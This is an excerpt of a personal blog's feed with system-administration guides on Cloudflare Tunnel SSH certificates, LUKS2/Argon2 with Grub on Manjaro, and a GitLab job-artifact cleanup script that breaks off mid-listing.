    <content type="html"><![CDATA[<p>This article provides a quick-start guide to SSH certificate using Cloudflare Tunnel. More information can be found in the official docs.</p><ul><li><a href="https://blog.cloudflare.com/public-keys-are-not-enough-for-ssh-security/">Public keys are not enough for SSH security</a></li><li><a href="https://developers.cloudflare.com/cloudflare-one/tutorials/ssh-cert-bastion/">SSH with short-lived certificates</a></li><li><a href="https://developers.cloudflare.com/cloudflare-one/identity/users/short-lived-certificates/">Configure short-lived certificates</a></li><li><a href="https://developers.cloudflare.com/cloudflare-one/applications/configure-apps/self-hosted-apps/">Self-hosted applications</a></li><li><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/use_cases/ssh/">Connect with SSH through Cloudflare Tunnel</a></li></ul><h2 id="introduction">Introduction <a href="#introduction" class="headerlink" title="Introduction">§</a></h2><p>One unpleasant task I had previously in an enterprise with Linux servers was SSH key management, specifically checking the SSH public keys of departed staff have been removed from the Ansible config. Then I learned from <a href="https://smallstep.com/blog/use-ssh-certificates/">this article</a> that it is possible to SSH using a short-lived (&lt;1 day) certificate that is only issued to the user after successfully authenticate with the enterprise identity provider’s (e.g. Azure AD) single sign-on (SSO). This means once a user is revoked from the identity provider, that user would not be issued with a new certificate to SSH again the next day. At that time, I didn’t feel like configuring and integrating an identity provider, so I held off trying the feature.</p><p>Recently, I wanted to try out the Cloudflare Zero Trust free tier. While reading through the <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/use_cases/ssh/">SSH configuration</a> guide, I found out that Cloudflare support issuing <a href="https://developers.cloudflare.com/cloudflare-one/identity/users/short-lived-certificates/">SSH user certificate</a>. While Cloudflare supports several <a href="https://developers.cloudflare.com/cloudflare-one/identity/idp-integration/">SSO integration</a>, it also supports authenticating using <a href="https://developers.cloudflare.com/cloudflare-one/identity/one-time-pin/">one-time PIN</a> sent to an email address that does not have to be a Cloudflare account. Cloudflare also supports browser-based shell, just like the AWS <a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager.html">Session Manager</a>.</p><h2 id="prerequisites">Prerequisites <a href="#prerequisites" class="headerlink" title="Prerequisites">§</a></h2><ul><li>A domain hosted on Cloudflare DNS</li><li>Cloudflare Zero Trust (free for 50 users)</li><li>A VM or cloud instance (optional, easier to clean up)</li></ul><h2 id="cloudflare-zero-trust">Cloudflare Zero Trust <a href="#cloudflare-zero-trust" class="headerlink" title="Cloudflare Zero Trust">§</a></h2><p>Navigate to <strong>Zero Trust</strong> page shown on the sidebar after you login to <a href="https://dash.cloudflare.com/">dash.cloudflare.com</a>. If this is your first time, Cloudflare will ask for billing info in which you can use an existing one or add a new credit card. You won’t get charged as long as you stay within the <strong>free tier</strong> (50 users), I will show you how to check later in this article.</p><p>The setup will then ask you to name your team domain <em>team-name</em>.cloudflareaccess.com. Just create a random name for now, you can always change it later.</p><h2 id="add-an-application">Add an application <a href="#add-an-application" class="headerlink" title="Add an application">§</a></h2><p>Once you’re in Zero Trust console, navigate to <strong>Access</strong> → <strong>Applications</strong>. <strong>Add an application</strong> and choose <strong>Self-hosted</strong>.</p><p><strong>Configure app</strong> tab,</p><ul><li>Application name: any name</li><li>Session duration: 15 minutes.<ul><li>In a corporate environment, “6 hours” is probably more user-friendly.</li><li>For sensitive server, consider “No duration”.</li></ul></li><li>Application domain: test.yourdomain.com<ul><li>The subdomain should not have an existing website.</li><li>It may be possible to use an existing website, by specifying test.yourdomain.com&#x2F;custom-path for SSH, though I haven’t try it.</li></ul></li><li>App Launcher visbility: No</li><li>Accept all available identity providers: No, unless you have integrated an identity provider.</li><li>Select One-time PIN</li><li>Instant Auth: Yes</li></ul><p><strong>Add policies</strong> tab,</p><ul><li>Policy name: any name</li><li>Action: Allow</li><li>Session duration: same</li><li>Configure rules: (Include) Emails &#x3D; an email address<ul><li>Any of your email is fine, regardless whether it’s a Cloudflare account.</li><li>Cloudflare <em>will not</em> create an account using that email, it will only be used to receive one-time PIN.</li></ul></li></ul><p><strong>Setup</strong> tab:</p><ul><li>CORS settings: leave it as is</li><li>Cookies settings:<ul><li>SameSite Attribute: blank or Lax<ul><li>Either setting is practically the same, browsers default to Lax when SameSite is not set.</li><li>“Strict” value cannot be used because Cloudflare will authenticate the user on <em>team-name</em>.cloudflareaccess.com and issue a cookie on test.yourdomain.com.</li></ul></li><li>HTTP Only: Yes</li></ul></li><li>Additional settings:<ul><li>Enable automatic cloudflared authentication: Yes</li><li>Browser rendering: SSH</li></ul></li></ul><h2 id="generate-a-ca-certificate">Generate a CA certificate <a href="#generate-a-ca-certificate" class="headerlink" title="Generate a CA certificate">§</a></h2><p>Navigate to <strong>Access</strong> → <strong>Service Auth</strong> → <strong>SSH</strong> tab. Select the application you just created and <strong>Generate certificate</strong>.</p><p>Copy the generated public key and save it to <code>/etc/ssh/ca.pub</code> in your host (the host you’re going to SSH into).</p><pre><code class="hljs plaintext">sudo -e /etc/ssh/ca.pub</code></pre><h2 id="create-a-tunnel">Create a tunnel <a href="#create-a-tunnel" class="headerlink" title="Create a tunnel">§</a></h2><p>Navigate to <strong>Access</strong> → <strong>Tunnels</strong></p><ul><li>Name: any name</li></ul><p><strong>Install connector</strong> tab, choose the relevant OS and run the installation command. Once installed, you should see “connected” status.</p><p><strong>Route tunnel</strong> tab,</p><ul><li>Public hostname: test.yourdomain.com<ul><li>This is the application domain in the <a href="#add-an-application">Add an application</a> step.</li></ul></li><li>Service<ul><li>SSH type: URL &#x3D; localhost:22<ul><li>Replace 22 with the custom SSH port you are going to use.</li></ul></li></ul></li></ul><p>After finishing creating a tunnel, you should have a new CNAME DNS record that points to <em>tunnel-id</em>.cfargotunnel.com. If there is no CNAME entry, grab the tunnel ID and create a new DNS record.</p><h2 id="start-ssh-server">Start SSH server <a href="#start-ssh-server" class="headerlink" title="Start SSH server">§</a></h2><p>Install <code>openssh-server</code>.</p><p><code>sudo -e /etc/ssh/sshd_config.d/cf.conf</code></p><pre><div class="caption"><span>/etc/ssh/sshd_config.d/cf.conf</span></div><code class="hljs plain">TrustedUserCAKeys /etc/ssh/ca.pubListenAddress 127.0.0.1ListenAddress ::1PasswordAuthentication no# Uncomment below line for custom port# Port 1234</code></pre><p><code>systemctl restart ssh</code> or <code>systemctl restart sshd</code></p><h2 id="create-a-test-user">Create a test user <a href="#create-a-test-user" class="headerlink" title="Create a test user">§</a></h2><p>The easiest setup is one where a Unix username matches the email that you configured to receive one-time PIN in previous steps. For example, if you set <strong>loremipsum</strong>@youremail.com, then create a new user <strong>loremipsum</strong>.</p><p><code>sudo adduser loremipsum</code></p><p>Set a random password and leave everything else blank.</p><h3 id="matching-email-to-different-username">Matching email to different username <a href="#matching-email-to-different-username" class="headerlink" title="Matching email to different username">§</a></h3><p>To match <strong>loremipsum</strong>@youremail.com to <strong>lipsum</strong> user:</p><pre><div class="caption"><span>/etc/ssh/sshd_config.d/cf.conf</span></div><code class="hljs plain">Match user lipsum  AuthorizedPrincipalsCommand /bin/echo &#x27;loremipsum&#x27;  AuthorizedPrincipalsCommandUser nobody</code></pre><p><strong>loremipsum+somealias</strong>@youremail.com also works.</p><pre><div class="caption"><span>/etc/ssh/sshd_config.d/cf.conf</span></div><code class="hljs plain">Match user lipsum  AuthorizedPrincipalsCommand /bin/echo &#x27;loremipsum+somealias&#x27;  AuthorizedPrincipalsCommandUser nobody</code></pre><h3 id="authorizedprincipalsfile">AuthorizedPrincipalsFile <a href="#authorizedprincipalsfile" class="headerlink" title="AuthorizedPrincipalsFile">§</a></h3><p>For NixOS user, <code>AuthorizedPrincipalsCommand</code> will not work because the command will run within “&#x2F;nix&#x2F;store” but it is read-only. Instead, you should use <code>AuthorizedPrincipalsFile</code>. This config also enables you to match multiple emails to a username, just separate each email user by newline. This applies to all OpenSSH instances, not just NixOS.</p><p><code>echo &#39;loremipsum&#39; | sudo tee /etc/ssh/authorized_principals</code></p><pre><div class="caption"><span>/etc/nixos/configuration.nix</span></div><code class="hljs nix">  <span class="hljs-attr">services.openssh</span> <span class="hljs-operator">=</span> &#123;    <span class="hljs-attr">enable</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;    <span class="hljs-attr">permitRootLogin</span> <span class="hljs-operator">=</span> <span class="hljs-string">&quot;no&quot;</span>;    <span class="hljs-attr">passwordAuthentication</span> <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;    <span class="hljs-comment"># ports = [ 1234 ];</span>    <span class="hljs-attr">extraConfig</span> <span class="hljs-operator">=</span>      <span class="hljs-string">&#x27;&#x27;</span><span class="hljs-string">        TrustedUserCAKeys /etc/ssh/ca.pub</span><span class="hljs-string">        Match User lipsum</span><span class="hljs-string">          AuthorizedPrincipalsFile /etc/ssh/authorized_principals</span><span class="hljs-string">          # if there is no existing AuthenticationMethods</span><span class="hljs-string">          AuthenticationMethods publickey</span><span class="hljs-string">      &#x27;&#x27;</span>;  &#125;;```<span class="hljs-comment">### Other use cases</span>https:<span class="hljs-operator">//</span>developers.cloudflare.com<span class="hljs-operator">/</span>cloudflare-one<span class="hljs-operator">/</span>identity<span class="hljs-operator">/</span>users<span class="hljs-operator">/</span>short-lived-certificates<span class="hljs-operator">/</span><span class="hljs-comment">#2-ensure-unix-usernames-match-user-sso-identities</span><span class="hljs-comment">## Initiate SSH connection</span>Install `cloudflared` on the host that you&#x27;re going to SSH from.`cloudflared access ssh-config <span class="hljs-operator">-</span>-hostname test.yourdomain.com <span class="hljs-operator">-</span>-short-lived-cert`Example <span class="hljs-params">output:</span>```plain <span class="hljs-symbol">~/.ssh/config</span>Match host test.yourdomain.com exec <span class="hljs-string">&quot;/usr/local/bin/cloudflared access ssh-gen --hostname %h&quot;</span>    ProxyCommand <span class="hljs-symbol">/usr/local/bin/cloudflared</span> access ssh <span class="hljs-operator">-</span>-hostname %h    IdentityFile ~<span class="hljs-operator">/</span>.cloudflared<span class="hljs-operator">/</span>%h-cf_key    CertificateFile ~<span class="hljs-operator">/</span>.cloudflared<span class="hljs-operator">/</span>%h-cf_key-cert.pub</code></pre><p>or</p><pre><div class="caption"><span>~/.ssh/config</span></div><code class="hljs plain">Host test.yourdomain.com    ProxyCommand bash -c &#x27;/usr/local/bin/cloudflared access ssh-gen --hostname %h; ssh -tt %r@cfpipe-test.yourdomain.com &gt;&amp;2 &lt;&amp;1&#x27;Host cfpipe-test.yourdomain.com    HostName test.yourdomain.com    ProxyCommand /usr/local/bin/cloudflared access ssh --hostname %h    IdentityFile ~/.cloudflared/test.yourdomain.com-cf_key    CertificateFile ~/.cloudflared/test.yourdomain.com-cf_key-cert.pub</code></pre><p>Save the output to <code>$HOME/.ssh/config</code>.</p><p>Now, the moment of truth.</p><p><code>ssh loremipsum@test.yourdomain.com</code> (replace the username with the one you created in <a href="#create-a-test-user">Create a test user</a> step.)</p><p>The terminal should launch a website to <em>team-name</em>.cloudflareaccess.com. Enter the email you configured in <a href="#add-an-application">Add an application</a> step and then enter the received 6-digit PIN.</p><p>Back to the terminal, wait for at least 5 seconds and you should see the usual SSH authentication.</p><blockquote><p>You may wondering why you still see fingerprint warning, I find this article <a href="https://goteleport.com/blog/how-to-ssh-properly/">SSH Best Practices using Certificates, 2FA and Bastions</a> explains it well.</p></blockquote><h2 id="browser-based-shell">Browser-based shell <a href="#browser-based-shell" class="headerlink" title="Browser-based shell">§</a></h2><p>As a bonus, head to test.yourdomain.com (see <a href="#add-an-application">Add an application</a> step) which will redirect you to a login page just the previous step. After login with a 6-digit PIN, you shall see a browser-based shell.</p><h2 id="usage-monitoring">Usage monitoring <a href="#usage-monitoring" class="headerlink" title="Usage monitoring">§</a></h2><p>Head to <strong>Settings</strong> → <strong>Account</strong> to monitor how many users you have, each email address you configured to receive one-time PIN is counted as one user.</p><p>To delete user(s), head to <strong>Users</strong>, tick the relevant users, <strong>Update status</strong> and then <strong>Remove</strong>. The seat usage column should show <em>Inactive</em>.</p><h2 id="inspect-user-certificate">Inspect user certificate <a href="#inspect-user-certificate" class="headerlink" title="Inspect user certificate">§</a></h2><p><code>ssh-keygen -L -f ~/.cloudflared/test.yourdomain.com-cf_key-cert.pub</code></p>]]></content>
    
    
    <summary type="html">A quick quide to SSH certificate without using an identity provider.</summary>
    
    
    
    <category term="cloudflare" scheme="https://mdleom.com/tags/cloudflare/"/>
    
  </entry>
  
  <entry>
    <title>Enable LUKS2 and Argon2 support for Grub in Manjaro/Arch</title>
    <link href="https://mdleom.com/blog/2022/11/27/grub-luks2-argon2/"/>
    <id>https://mdleom.com/blog/2022/11/27/grub-luks2-argon2/</id>
    <published>2022-11-27T00:00:00.000Z</published>
    <updated>2022-11-27T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>I recently refreshed my Manjaro installation using the official ISO. My last installation used Manjaro Architect, which is my preferred method. Unfortunately, it was removed from all official ISOs due to lack of maintainer. I tried installing it in Live USB but it couldn’t install some base packages due to keyring issue, same issue with the <a href="https://github.com/manjaro-architect/download/releases">nightly ISO</a>. As such, I had to use the GUI installer instead.</p><p>I ticked “Encrypt system” and Manjaro created two partitions in my NVMe drive <em>without</em> LVM. <a href="https://wiki.archlinux.org/title/btrfs#Subvolumes">Btrfs subvolume</a> can provide LVM-like functionality.</p><table><thead><tr><th>Partition</th><th>Filesystem</th><th>Mount</th><th>Encrypted</th></tr></thead><tbody><tr><td>&#x2F;dev&#x2F;nvme0n1p1</td><td>FAT32</td><td><code>/boot/efi</code></td><td>No</td></tr><tr><td>&#x2F;dev&#x2F;nvme0n1p2</td><td>Btrfs</td><td><code>/</code></td><td>LUKS1</td></tr></tbody></table><p>The implication of the above layout is that <code>/boot</code> (where the kernel resides) is encrypted, except for <code>/boot/efi</code> (Grub resides here)—p1 is not encrypted, p2 is LUKS-encrypted. So, Grub has to unlock the LUKS partition first (using password), before the rest of <code>/</code> can be unlocked (using keyfile). Keyfile is used in this layout so that password is not <a href="https://leo3418.github.io/collections/gentoo-config-luks2-grub-systemd/auto-unlock.html">prompted twice</a>.</p><p>There are two disadvantages of using Grub to unlock LUKS:</p><ol><li>Slow unlocking due to lack of cryptography acceleration</li><li>Limited LUKS2 support, i.e. Argon2 is not supported</li></ol><p>Fortunately, there is an AUR package <a href="https://aur.archlinux.org/packages/grub-improved-luks2-git">grub-improved-luks2-git</a> that has been patched for Argon2 support. I will also show how to tune Argon2 parameters for faster unlock (while sacrificing security).</p><h2 id="prerequisite">Prerequisite <a href="#prerequisite" class="headerlink" title="Prerequisite">§</a></h2><ul><li>Manjaro&#x2F;Arch live USB&#x2F;CD, for offline (unmounted) LUKS1 to LUKS2 keyslot conversion<ul><li>Keyslot technically can be updated in mounted partition since it is only used to unlock the encryption key, once unlocked, subsequent data encryption&#x2F;decryption uses only the encryption key.</li><li>I just feel uneasy doing this while the partition has active I&#x2F;O, so I opt for live USB instead.</li></ul></li></ul><h2 id="grub-improved-luks2-git">grub-improved-luks2-git <a href="#grub-improved-luks2-git" class="headerlink" title="grub-improved-luks2-git">§</a></h2><p>Use your favourite AUR helper to install <a href="https://aur.archlinux.org/packages/grub-improved-luks2-git">grub-improved-luks2-git</a>. This will take a while to compile patched Grub.</p><pre><code class="hljs plaintext">yay -S grub-improved-luks2-git</code></pre><p>There should be a confirmation to remove <code>grub</code> to avoid package conflict.</p><h2 id="live-usb">Live USB <a href="#live-usb" class="headerlink" title="Live USB">§</a></h2><p>Reboot into live USB. Identify the location of encrypted location using GParted. The partition filesystem should be “[Encrypted] btrfs”. In my case, it is <code>/dev/nvme0n1p2</code>.</p><h2 id="luks1-to-luks2-conversion">LUKS1 to LUKS2 conversion <a href="#luks1-to-luks2-conversion" class="headerlink" title="LUKS1 to LUKS2 conversion">§</a></h2><pre><code class="hljs plaintext">sudo cryptsetup convert --type luks2 /dev/nvme0n1p2</code></pre><p><em>If you want to revert back to LUKS1,</em></p><pre><code class="hljs plaintext">sudo cryptsetup convert --type luks1 /dev/nvme0n1p2</code></pre><p><em>Before reverting back to LUKS1, the keyslot must be using PBKDF2 not Argon2, otherwise you will encounter “Cannot convert to LUKS1 format” error.</em></p><pre><code class="hljs plaintext">sudo cryptsetup luksConvertKey --pbkdf pbkdf2 /dev/nvme0n1p2</code></pre><h2 id="load-luks2-grub-module">Load LUKS2 Grub module <a href="#load-luks2-grub-module" class="headerlink" title="Load LUKS2 Grub module">§</a></h2><p>At this stage, the Grub bootloader (not the package) cannot unlock the LUKS2 partition yet. It needs to be reinstalled so that it can detect LUKS2 partition and load the relevant module.</p><p>First, unlock the partition and mount it.</p><pre><code class="hljs plaintext">sudo cryptsetup open /dev/nvme0n1p2 rootsudo mount -o subvol=@ /dev/mapper/root /mntsudo mount /dev/nvme0n1p1 /mnt/boot/efi</code></pre><p>Notice in the “grub.cfg”, it loads <code>luks</code> module instead of <code>luks2</code>, this explains why Grub couldn’t unlock it.</p><pre><code class="hljs plaintext">$ sudo less /mnt/boot/grub/grub.cfgmenuentry &#x27;Manjaro Linux&#x27; &#123;  insmod luks&#125;</code></pre><p>While you <em>could</em> manually update the config and replace <code>luks</code> with <code>luks2</code>, it is better to automate it using <code>grub-mkconfig</code>.</p><pre><code class="hljs plaintext">sudo manjaro-chroot /mnt /bin/bash# or `sudo arch-chroot /mnt /bin/bash`grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=manjaro --recheckgrub-mkconfig -o /boot/grub/grub.cfg</code></pre><p>Now, inspect “grub.cfg” again while still in chroot, you should see <code>luks2</code> instead.</p><pre><code class="hljs plaintext">$ less /boot/grub/grub.cfgmenuentry &#x27;Manjaro Linux&#x27; &#123;  insmod luks2&#125;</code></pre><h2 id="verify-luks2-unlock">Verify LUKS2 unlock <a href="#verify-luks2-unlock" class="headerlink" title="Verify LUKS2 unlock">§</a></h2><p>Before proceed to the next step, I recommend reboot into your Manjaro&#x2F;Arch to check whether Grub can unlock LUKS2. Once that is done, reboot again to live USB.</p><h2 id="pbkdf2-to-argon2">PBKDF2 to Argon2 <a href="#pbkdf2-to-argon2" class="headerlink" title="PBKDF2 to Argon2">§</a></h2><p><em>This step should be done in live USB</em></p><p>All keyslot parameters are retained during conversion to LUKS2, so the pbkdf algorithm is still PBKDF2 + SHA256. To convert to Argon2 + SHA512,</p><pre><code class="hljs plaintext">sudo cryptsetup luksConvertKey --pbkdf argon2id --hash sha512 /dev/nvme0n1p2</code></pre><p>You may notice <code>insmod gcry_sha256</code> line in the “grub.cfg”, this module is not used for LUKS2 unlocking, so there is no need to add <code>insmod gcry_sha512</code>. As long as <code>insmod luks2</code> is there, Grub should be able to unlock LUKS2 regardless of pbkdf or hash algorithm.</p><h2 id="enable-trim-and-disable-workqueue-for-ssd-performance-optional">Enable TRIM and disable workqueue for SSD performance (optional) <a href="#enable-trim-and-disable-workqueue-for-ssd-performance-optional" class="headerlink" title="Enable TRIM and disable workqueue for SSD performance (optional)">§</a></h2><p><em>Still in live USB</em></p><pre><code class="hljs plaintext">sudo cryptsetup --allow-discards --perf-no_read_workqueue --perf-no_write_workqueue --persistent open /dev/nvme0n1p2 root</code></pre><p>Verify the flags are set.</p><pre><code class="hljs plaintext">$ sudo cryptsetup luksDump /dev/nvme0n1p2 | grep FlagsFlags:         allow-discards no-read-workqueue no-write-workqueue</code></pre><p>More details:</p><ul><li><a href="https://wiki.archlinux.org/title/Dm-crypt/Specialties#Discard/TRIM_support_for_solid_state_drives_(SSD)">SSD TRIM</a></li><li><a href="https://wiki.archlinux.org/title/Dm-crypt/Specialties#Disable_workqueue_for_increased_solid_state_drive_(SSD)_performance">Workqueue</a></li></ul><h2 id="faster-unlock-in-grub">Faster unlock in Grub <a href="#faster-unlock-in-grub" class="headerlink" title="Faster unlock in Grub">§</a></h2><p><em>This step can be done while the drive is mounted (as in not in live USB)</em></p><p>Due to lack of cryptography acceleration, Grub takes half a minute to unlock LUKS. For faster unlock, Argon2 parameters can be tuned to <em>less security</em>.</p><p>To start off, have a try with these parameters:</p><ul><li>4 iterations</li><li>256MB memory cost</li></ul><pre><code class="hljs plaintext">sudo cryptsetup luksConvertKey /dev/nvme0n1p2 --pbkdf-force-iterations 4 --pbkdf-memory 262100sudo cryptsetup luksConvertKey /dev/nvme0n1p2 --pbkdf-force-iterations 4 --pbkdf-memory 262100 --key-file /crypto_keyfile.bin</code></pre><p><a href="https://leo3418.github.io/collections/gentoo-config-luks2-grub-systemd/tune-parameters.html#change-the-parameters">This page</a> explains why keyfile also needs to be updated.</p><p>Reboot and check how fast is the unlock. Fine tune the <code>--pbkdf-memory</code> option until the unlock speed is satisfactory (not too slow and not too fast). The option takes a value in kilobyte (KB).</p><table><thead><tr><th>MB</th><th>KB</th></tr></thead><tbody><tr><td>128</td><td>131100</td></tr><tr><td>256</td><td>262100</td></tr><tr><td>512</td><td>524300</td></tr><tr><td>1024</td><td>1049000</td></tr></tbody></table><h2 id="references">References <a href="#references" class="headerlink" title="References">§</a></h2><ul><li><a href="https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_entire_system">Dm-crypt&#x2F;Encrypting_an_entire_system</a></li><li><a href="https://leo3418.github.io/collections/gentoo-config-luks2-grub-systemd.html">Gentoo Configuration Guide</a></li><li><a href="https://wiki.manjaro.org/index.php/GRUB/Restore_the_GRUB_Bootloader">Restore the GRUB Bootloader</a></li></ul>]]></content>
    
    
    <summary type="html">Convert LUKS1 to LUKS2</summary>
    
    
    
    <category term="linux" scheme="https://mdleom.com/tags/linux/"/>
    
    <category term="manjaro" scheme="https://mdleom.com/tags/manjaro/"/>
    
    <category term="arch" scheme="https://mdleom.com/tags/arch/"/>
    
    <category term="luks" scheme="https://mdleom.com/tags/luks/"/>
    
  </entry>
  
  <entry>
    <title>Bulk remove old GitLab CI job artifacts</title>
    <link href="https://mdleom.com/blog/2022/08/09/remove-gitlab-artifacts/"/>
    <id>https://mdleom.com/blog/2022/08/09/remove-gitlab-artifacts/</id>
    <published>2022-08-09T00:00:00.000Z</published>
    <updated>2022-08-09T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>On 8 Aug 2022, GitLab <a href="https://docs.gitlab.com/ee/user/usage_quotas.html#namespace-storage-limit-enforcement-schedule">announced</a> they will enforce 5 GB storage quota on free account from 9 November 2022. My <a href="https://gitlab.com/malware-filter">malware-filter</a> group was using 25.3 GB prior to a cleanup where some projects were more than 5 GB. I did apply malware-filter for GitLab for <a href="https://about.gitlab.com/solutions/open-source/join/">Open Source Program</a>, so I get Ultimate tier with 250 GB storage limit (per project). While I’m still far off from the storage limit, I still went ahead to clean them up in case they reduce storage quota for Open Source Program.</p><h2 id="expire-new-job-artifacts">Expire new job artifacts <a href="#expire-new-job-artifacts" class="headerlink" title="Expire new job artifacts">§</a></h2><p>In all my projects that were using more than 5 GB, 99% of the usage came from job artifacts. I believe most of the cases are like this. The first thing I did was to set <em>new</em> job artifacts to expire in a week, the default is <a href="https://docs.gitlab.com/ee/user/gitlab_com/index.html#gitlab-cicd">30 days</a>. Existing job artifacts are not affected by this setting.</p><p>If your job artifacts created in a month are much less than 5 GB in total yet still exceed the quota, it is likely caused by very old artifacts which have no expiry. In that case, reducing the default expiry may not be relevant, those old artifacts should be removed instead.</p><pre><div class="caption"><span>.gitlab-ci.yml</span></div><code class="hljs diff">build:  artifacts:    paths:      - public/<span class="hljs-addition">+    expire_in: 1 week</span></code></pre><h2 id="remove-old-job-artifacts">Remove old job artifacts <a href="#remove-old-job-artifacts" class="headerlink" title="Remove old job artifacts">§</a></h2><p>As for cleaning up existing job artifacts, I found the following bash script on the GitLab forum. I fixed some variable typo and modified the starting page to “2”, all job artifacts will be removed except for the first page, retaining 100 most recent job artifacts. The only dependencies are <strong>curl</strong> and <strong>jq</strong>.</p><p>This script is especially useful for removing job artifacts were created before 22 Jun 2020, artifacts created before that date do not expire.</p><pre><div class="caption"><span>cleanup-gitlab.sh</span><a href="https://forum.gitlab.com/t/remove-all-artifact-no-expire-options/9274/12">source</a></div><code class="hljs bash"><span class="hljs-meta">#!/bin/bash</span><span class="hljs-comment"># https://forum.gitlab.com/t/remove-all-artifact-no-expire-options/9274/12</span><span class="hljs-comment"># Copyright 2021 &quot;Holloway&quot; Chew, Kean Ho &lt;kean.ho.chew@zoralab.com&gt;</span><span class="hljs-comment"># Copyright 2020 Benny Powers (https://forum.gitlab.com/u/bennyp/summary)</span><span class="hljs-comment"># Copyright 2017 Adam Boseley (https://forum.gitlab.com/u/adam.boseley/summary)</span><span class="hljs-comment">#</span><span class="hljs-comment"># Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);</span><span class="hljs-comment"># you may not use this file except in compliance with the License.</span><span class="hljs-comment"># You may obtain a copy of the License at</span><span class="hljs-comment">#</span><span class="hljs-comment"># http://www.apache.org/licenses/LICENSE-2.0</span><span class="hljs-comment">#</span><span class="hljs-comment"># Unless required by applicable law or agreed to in writing, software</span><span class="hljs-comment"># distributed under the License is distributed on an &quot;AS IS&quot; BASIS,</span><span class="hljs-comment"># WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.</span><span class="hljs-comment"># See the License for the specific language governing permissions and</span><span class="hljs-comment"># limitations under the License.</span><span class="hljs-comment">##############</span><span class="hljs-comment"># user input #</span><span class="hljs-comment">##############</span><span class="hljs-comment"># project ID (Help: goto &quot;Settings&quot; &gt; &quot;General&quot;)</span>projectID=<span class="hljs-string">&quot;&quot;</span><span class="hljs-comment"># user API token (Help: &quot;User Settings&quot; &gt; &quot;Access Tokens&quot; &gt; tick &quot;api&quot;)</span>token=<span class="hljs-string">&quot;&quot;</span><span class="hljs-comment"># gitlab server instance</span>server=<span class="hljs-string">&quot;gitlab.com&quot;</span><span class="hljs-comment"># CI Jobs pagination (Help: &quot;CI/CD&quot; &gt; &quot;Jobs&quot; &gt; see bottom pagination bar)</span><span class="hljs-comment">#</span><span class="hljs-comment"># NOTE: user interface might be bug. If so, you need to manually calculate.</span><span class="hljs-comment"># By default, maximum 10,000 (end_page * per_page) job artifacts will be removed, while retaining 100 most recent artifacts.</span><span class="hljs-comment"># Example:</span><span class="hljs-comment">#   1. For 123 jobs in the past and per_page is &quot;100&quot; (maximum), it has 2 pages (end_page) in total</span><span class="hljs-comment">#      [end_page = ROUND_UP(total_job / per_page)].</span><span class="hljs-comment">#   2. To retain most recent 200 jobs</span><span class="hljs-comment">#      [start_page = num_job_retain / per_page + 1]</span>start_page=<span class="hljs-string">&quot;2&quot;</span>end_page=<span class="hljs-string">&quot;100&quot;</span>per_page=<span class="hljs-string">&quot;100&quot;</span><span class="hljs-comment"># GitLab API version</span>api=<span class="hljs-string">&quot;v4&quot;</span><span class="hljs-comment">#####################</span><span class="hljs-comment"># internal function #</span><span class="hljs-comment">#####################</span><span class="hljs-function"><span class="hljs-title">delete</span></span>() &#123;  <span class="hljs-comment"># page</span>  page=<span class="hljs-string">&quot;<span class="hljs-variable">$1</span>&quot;</span>  1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;Cleaning page <span class="hljs-variable">$&#123;page&#125;</span>...\n&quot;</span>  <span class="hljs-comment"># build internal variables</span>  baseURL=<span class="hljs-string">&quot;https://<span class="hljs-variable">$&#123;server&#125;</span>/api/<span class="hljs-variable">$&#123;api&#125;</span>/projects&quot;</span>  <span class="hljs-comment"># get list from servers for the page</span>  url=<span class="hljs-string">&quot;<span class="hljs-variable">$&#123;baseURL&#125;</span>/<span class="hljs-variable">$&#123;projectID&#125;</span>/jobs/?page=<span class="hljs-variable">$&#123;page&#125;</span>&amp;per_page=<span class="hljs-variable">$&#123;per_page&#125;</span>&quot;</span>  1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;Calling API to get lob list: <span class="hljs-variable">$&#123;url&#125;</span>\n&quot;</span>  list=$(curl --globoff --header <span class="hljs-string">&quot;PRIVATE-TOKEN:<span class="hljs-variable">$&#123;token&#125;</span>&quot;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$url</span>&quot;</span> \    | jq -r <span class="hljs-string">&quot;.[].id&quot;</span>)  <span class="hljs-keyword">if</span> [ <span class="hljs-variable">$&#123;#list[@]&#125;</span> -eq 0 ]; <span class="hljs-keyword">then</span>    1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;list is empty\n&quot;</span>    <span class="hljs-built_in">return</span> 0  <span class="hljs-keyword">fi</span>  <span class="hljs-comment"># remove all jobs from page</span>  <span class="hljs-keyword">for</span> jobID <span class="hljs-keyword">in</span> <span class="hljs-variable">$&#123;list[@]&#125;</span>; <span class="hljs-keyword">do</span>    url=<span class="hljs-string">&quot;<span class="hljs-variable">$&#123;baseURL&#125;</span>/<span class="hljs-variable">$&#123;projectID&#125;</span>/jobs/<span class="hljs-variable">$&#123;jobID&#125;</span>/erase&quot;</span>    1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;Calling API to erase job: <span class="hljs-variable">$&#123;url&#125;</span>\n&quot;</span>    curl --request POST --header <span class="hljs-string">&quot;PRIVATE-TOKEN:<span class="hljs-variable">$&#123;token&#125;</span>&quot;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$url</span>&quot;</span>    1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;\n\n&quot;</span>  <span class="hljs-keyword">done</span>&#125;<span class="hljs-function"><span class="hljs-title">main</span></span>() &#123;  <span class="hljs-comment"># check dependencies</span>  <span class="hljs-keyword">if</span> [ -z $(<span class="hljs-built_in">type</span> -p jq) ]; <span class="hljs-keyword">then</span>    1&gt;&amp;2 <span class="hljs-built_in">printf</span> <span class="hljs-string">&quot;[ ERROR ] need &#x27;jq&#x27; dependency to parse json.&quot;</span>    <span class="hljs-built_in">exit</span> 1  <span class="hljs-keyword">fi</span>  <span class="hljs-comment"># loop through each pages from given start_page 